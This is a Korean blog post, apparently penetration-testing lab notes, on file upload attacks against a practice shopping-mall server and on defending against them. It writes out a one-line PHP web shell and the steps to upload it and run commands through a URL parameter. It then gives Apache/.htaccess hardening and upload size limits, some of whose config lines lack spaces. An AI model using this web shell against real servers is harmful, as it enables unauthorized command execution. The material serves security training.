1. 작업 환경 

    - VMware Workstation 17 Player

    - Cent OS 7

    - kali_linux

    - 모의해킹용 쇼핑몰 서버 

    - Burp Suite 

 

2. 파일업로드 공격 / 대응 

    - 공격

        vi webshell.php
          <?php
          system($_GET['cmd']);
          ?>
        게시판에 webshell.php 첨부 후 글 작성
        webshell.php가 저장된 경로를 찾아서 주소창에 쳐보기

        첨부파일 링크 확인:http://ip주소/download.php?file=/var/www/html/tmp/1718088401@webshell.php

         /var/www/html/tmp/1718088401@webshell.php 가 경로이므로 http://ip주소/tmp/1718088401@webshell.php

         http://ip주소/tmp/1718088401@webshell.php?cmd=리눅스 명령어를 주소창에 치면 동작함

 

    - 대응

        첨부파일의 실제 MIME 타입과 확장자를 모두 검증하기 때문에 웹쉘이 더이상 업로드 되지 않음

 

        첨부파일 디렉토리의 php(서버사이드스크립트)가 실행되지 않도록 설정
         vi /etc/httpd/conf/httpd.conf
           <Directory "/var/www/html/tmp">
            AllowOverrideAll
           </Directory>
        파일업로드 디렉터리에 .htaccess생성
            vi /var/www/html/tmp/.htaccess

        vi /var/www/html/tmp/.htaccess
           <FilesMatch"\.(ph|inc|lib)">
           Order allow,deny
           Deny from all
           </FilesMatch>
        url을 통한 ph, .inc, .lib 파일 직접접근 차단
        systemctl restart httpd        

        첨부파일 디렉터리(/tmp)에 있는 웹쉘 재접근시 403 응답코드 반환

        파일업로드 용량 제한
        vi /etc/httpd/conf/httpd.conf
           <Directory "/var/www/html/tmp">
            AllowOverrideAll
           LimitRequestBody5000000
          </Directory>
        systemctl restart httpd
        5M으로 제한

        5M를 초과하는 크기의 파일을 업로드하면 아래와 같은 413 응답코드 반환

'모의해킹' 카테고리의 다른 글

불충분한 세션 관리 공격 / 대응  (0) 2024.10.15
파일 다운로드 공격 / 대응  (1) 2024.10.15
CSRF 공격 / 대응  (0) 2024.10.15
XSS 공격 / 대응  (0) 2024.10.15
정보누출 공격 / 대응  (0) 2024.10.15

+ Recent posts